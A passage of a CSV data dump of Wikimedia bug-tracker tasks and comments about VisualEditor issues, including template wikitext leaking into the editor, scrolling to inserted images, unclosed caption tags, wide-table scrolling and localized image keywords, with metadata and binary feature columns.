+**Severity**: normal",Medium,50.0,1374647880,1374648228.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-tl42tulmp4okf7khych6,task_description,resolved,True,c1,3,False,False,True,3,,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+251832,VisualEditor: Pending Changes dropdown overlaps toolbar in Monobook,Sorry about this; the good news is that we just fixed this in gerrit 75545 which will go out in about eight hours or so - that drop-down menu will be hidden once you're inside VisualEditor mode (whatever your skin).,,,1374648228,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tl42tulmp4okf7khych6,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+53922,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"Wikitext appearing in transclusion dialog
+
+The underlying cause of this might be covered in bug 48231 or bug 51217 or others ... I thought I saw a bug about this, but cant find it now.
+
+[[template:multicol]] with wikisyntax inside it results in the attached screenshot, with wikitext visible in the transclusion dialog as 'Content' blocks.
+
+https://nl.wikipedia.org/wiki/Gebruiker:John_Vandenberg/test?veaction=edit
+
+Section headers & list items also cause this; see the last block here:
+https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&oldid=565567699&veaction=edit
+
+If it helps, this issue is present on one of the parsoid topfails:
+
+https://nl.wikipedia.org/wiki/Eerste_divisie_1996/97?veaction=edit
+
+BeginKolommen occurs on nlwp 3047 times.  11362 times in enwp.  8861 times in eswp. 40985 times on itwp!, which is roughly 4% of the content pages.
+
+Confirmed this is happening on every itwp invocation that I edit
+https://it.wikipedia.org/wiki/Speciale:PuntanoQui/Template:Colonne
+e.g.
+https://it.wikipedia.org/wiki/Aeroplano?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11763}",Medium,50.0,1374638040,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-vb4syhceqgegacimzles,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+251658,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #5)
+> (In reply to comment #4)
+> > > 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
+> > > 
+> > > http://parsoid.wmflabs.org:8001/topfails
+> > > 
+> > Oh, I see. It's not any more now :(
+> 
+> It is on page two of 16
+> 
+> http://parsoid.wmflabs.org:8001/topfails/2
+> 
+Aha! Found it.
+
+> I have no idea if the {{BeginKolommen}} or tables within it have anything to
+> do
+> with the semantic failure; just thought I should mention it.
+That doesn't appear to be the case: looking at the RT diff (which you get to by clicking on the page name), it's mostly related to the tables on the page: http://parsoid.wmflabs.org/_rt/nl/Eerste_divisie_1996/97",,,1374640898,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1
+251650,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #4)
+> > 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
+> > 
+> > http://parsoid.wmflabs.org:8001/topfails
+> > 
+> Oh, I see. It's not any more now :(
+
+It is on page two of 16
+
+http://parsoid.wmflabs.org:8001/topfails/2
+
+I have no idea if the {{BeginKolommen}} or tables within it have anything to do with the semantic failure; just thought I should mention it.",,,1374640614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1
+251645,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #3)
+> I think it is impressive that VE handles it
+> 
+This is mostly thanks to Parsoid handling this case very well, and VE simply building a UI around it :)
+
+> 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
+> 
+> http://parsoid.wmflabs.org:8001/topfails
+> 
+Oh, I see. It's not any more now :(
+
+> Here is an itwp example where multicol consumes most of the page, and should
+> probably be removed.
+> 
+> https://it.wikipedia.org/wiki/Campagna_%28comune%29?veaction=edit
+Yes. I just fixed that page.",,,1374640208,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+251638,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"I think it is impressive that VE handles it
+
+'nl:Eerste divisie 1996/97' is on the parsoid topfails list
+
+http://parsoid.wmflabs.org:8001/topfails
+
+Here is an itwp example where multicol consumes most of the page, and should probably be removed.
+
+https://it.wikipedia.org/wiki/Campagna_%28comune%29?veaction=edit",,,1374639358,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0
+251631,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"{{BeginKolommen}} generates the beginning of a table, and {{EindeKolommen}} generates the end of that table. All content between those two is treated as one template call. This is expected behavior in the current implementation, and is exactly the same as succession boxes and all other templates that generate openings and closings separately (multipart templates).
+
+It would be nice if we could let users edit these in a nicer way, especially considering that some (but not all) of the wikitext blocks are actually innocuous wikitext that VE could reasonably edit, but right now we can't. This is part of the reason why multipart templates suck.
+
+What is the Parsoid topfail thing you're talking about? There's no link to the failure and it seems unrelated to this issue.
+
+
+Not closing this as INVALID or whatever because this is something we should actually handle better.",,,1374639024,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+251624,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"Editing the wikitext appears to function correctly, which is good news.
+https://it.wikipedia.org/w/index.php?title=Matematica&diff=60342095&oldid=59678552",,,1374638806,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0
+53911,Scroll to an item when it is selected e.g. when it has been newly inserted,"The bug 51905 made me realize of a potential problem. When a media, say an image, is inserted, sometimes it may be inserted outside the field of view of the user, and this may lead some users to think that it wasn't inserted at all, causing aborted edits, confusion, frustration, and even bad edits. For example if there is an infobox in the article, or a bunch of images aligned to the right, then if the user inserts an image, in many cases it will be inserted below all this, and the user will not see it without scrolling the screen.
+
+The solution to this potential problem is, I think, fairly simple: make the VisualEditor detect if the image is in the field of view of the user, and if it's not, then scroll the screen so that it is!
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58091",Medium,50.0,1374614520,1427668322.0,PHID-USER-lucj4cqevg3ebah7vybd,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3wggiaj4uckt3tln426a,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+435241,Scroll to an item when it is selected e.g. when it has been newly inserted,"Checked all Insert menu options in beta (Chrome, FF35, and Safari).
+
+What was checked 
+
+-  a cursor placed at the top/bottom of a page and Insert
+-  a cursor placed at the bottom of a page - and scroll up and then 'Insert'
+-  'Insert' options for Media Caption
+-  'Undo/Redo' with different cursor positions
+",,,1427741121,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,True,,,91,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+434741,Scroll to an item when it is selected e.g. when it has been newly inserted,"Change 200243 merged by jenkins-bot:
+Scroll the selection into view when it is outside the window
+
+[[https://gerrit.wikimedia.org/r/200243]]",,,1427668761,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,90,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+434313,Scroll to an item when it is selected e.g. when it has been newly inserted,"Change 200243 had a related patch set uploaded (by Mooeypoo):
+Scroll to newly inserted elements
+
+[[https://gerrit.wikimedia.org/r/200243]]
+",,,1427494007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,90,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+250623,Scroll to an item when it is selected e.g. when it has been newly inserted,"A auto-disappearing popup notice ""Your image has been inserted; scroll down to see it."" would help.",,,1374703747,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+250617,Scroll to an item when it is selected e.g. when it has been newly inserted,I experienced the same problem in bug 51863.,,,1374703273,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53893,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"When an image file is included directly in an article (i.e not as a thumbnail and not in a frame) with an unclosed <center> tag in the caption causes Visual Editor to not render any page content after the image.
+
+See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=565498603 for an example.
+
+All the following conditions must be true to see this bug:
+* Image must not be a thumbnail or in a frame
+* The image caption must contain an unclosed html tag specifying text alignment in the caption. Tested with <center>, <p align=""center""> and <div align=""right"">
+* The image placement (left, right or center) must be specified
+
+The bug does not occur with an unclosed italic html tag. I haven't tested with other tags.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374598740,1380746942.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gru24gdbzlh5sitams7s,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+249650,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"As we discussed and confirmed on IRC, this is not happening in production right now. So, I am going to mark this resolved-fixed. Please reopen if a similar error shows up.",,,1380746942,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+249648,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Will provisionally mark this as in-review, then (you can see that it's still happening with production Parsoid, though that may be cache errors).",,,1380746013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+249646,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Unclosed tags in image caption is not that infrequent unfortunately -- the difference between <center> and <i>/<b> tags is that the former is a block tag and the latter is an inline tag. So, any other block tag that is unclosed will cause the same issue. 
+
+That said, I am surprised that this problem showed up in the first place since Parsoid has had support to deal with unbalanced tags for a long time: https://gerrit.wikimedia.org/r/#/c/43384/
+
+This was a bit of a hacky support. More robust and improved support for this is coming in https://gerrit.wikimedia.org/r/#/c/83216/
+
+So, unsure what happened here with this bug.",,,1380745593,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+249645,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Forgot to note that although this combination of conditions is presumably uncommon, it was first observed in the wild at https://en.wikipedia.org/w/index.php?title=Typographer_%28typewriter%29&oldid=565431177",,,1374599024,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+53867,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux
+
+In VisualEditor the editing window does not horizontally scroll to accommodate wide tables. Table cells and their contents render as if the window did scroll, but as it does not they are truncated.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51820
+
+**Attached**: {F11662}",Medium,50.0,1374578220,1538407902.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-d3oejnwggmk2whlojm2x,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+1151386,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,This works correctly these days. The page is horizontally scrollable.,,,1538407902,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,True,,,274,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+478673,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,it would be nice to have a fix for horizontal scrolling for wide tables,,,1434875532,,PHID-USER-yftvcvsb36qrmx4iohsm,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+248198,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"en.wp user Cryptic C62 comments:
+""VE does not correctly render any table wider than the screen, nor does it allow horizontal scrolling. This effect seems to extend to any wide element, including math formulas, images, transclusions, and text with non-breaking spaces. Some other findings:
+
+* A horizontal scroll bar does appear when hovering over some elements with a mouseover effect, specifically images and uneditables (Strangely, the scroll bar does not appear when hovering over the {{Details}} template in this example). Scrolling can then occur if you have a clickable mousewheel.
+
+* By placing the text cursor near the visible end of wide text, and pressing the right arrow key, it is possible to sneak the text cursor off of the page.""
+
+Test cases: https://en.wikipedia.org/w/index.php?title=User:Cryptic_C62/sandbox&oldid=567261009",,,1375714875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+248192,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"Comment on attachment 12931
+first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux
+
+Fix MIME type",,,1374682835,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+53852,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"When VisualEditor inserts an image, the thumbnail keywords are written in English: ""File:"", ""thumb"", ""right"" (but see Bug 51851).
+
+This should not, theoretically, be a problem, because the VisualEditor is supposed to make these keywords unimportant and hidden from the end-user. However, while the source editor is still being widely used, this is a problem, especially for right to left languages: it is very hard to edit these English keywords when they are mixed with right-to-left text.
+
+These keywords should be inserted in the language of the wiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374569160,1459884179.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-ah63325mhbgtfpeazbnl,task_description,resolved,True,c1,3,False,False,False,3,,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+640899,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 280792 merged by jenkins-bot:
+T53852: Serialize localized image options
+
+[[https://gerrit.wikimedia.org/r/280792]]",,,1459883811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+640459,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 244254 abandoned by Eranroz:
+Use local keyword for image
+
+Reason:
+See a better patch: https://gerrit.wikimedia.org/r/#/c/244254/
+
+[[https://gerrit.wikimedia.org/r/244254]]",,,1459809027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+638233,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 280792 had a related patch set uploaded (by Arlolra):
+T53852: Serialize localized image options for rtl languages
+
+[[https://gerrit.wikimedia.org/r/280792]]
+",,,1459469170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,143,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+548511,Image options should be serialized in the wiki's language in rtl locales - localization i18n,">>! In T53852#1735891, @Amire80 wrote:
+> General Q: Can the same patch also resolve T104057, a similar issue in ContentTranslation?
+> 
+>>>! In T53852#1735780, @cscott wrote:
+>> * Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
+> 
+> Sounds more practical and closer to reality.
+> 
+> Parsoid developers, don't you have some kind of a tool that queries lots of dumps quickly? I remember hearing something like this, but maybe I am just imagining.
+
+This used to be part of the parsoid repository but is now its own repo @ https://github.com/wikimedia/dumpgrepper",,,1445283298,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+548475,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"General Q: Can the same patch also resolve T104057, a similar issue in ContentTranslation?
+
+>>! In T53852#1735780, @cscott wrote:
+> * Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
+
+Sounds more practical and closer to reality.
+
+Parsoid developers, don't you have some kind of a tool that queries lots of dumps quickly? I remember hearing something like this, but maybe I am just imagining.
+
+>>! In T53852#1735858, @ssastry wrote:
+> A good compromise to get this moving would be to do this analysis for the top N wikis (N = 10?)
+
+I'd guess that it's more like 50 or so.",,,1445280165,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,120,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,1
+548467,Image options should be serialized in the wiki's language in rtl locales - localization i18n,A good compromise to get this moving would be to do this analysis for the top N wikis (N = 10?) -- the expectation is that only a few wikis will need either their messages tweaked or special case exceptions added for them in the code and we can get this going from there.,,,1445279437,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
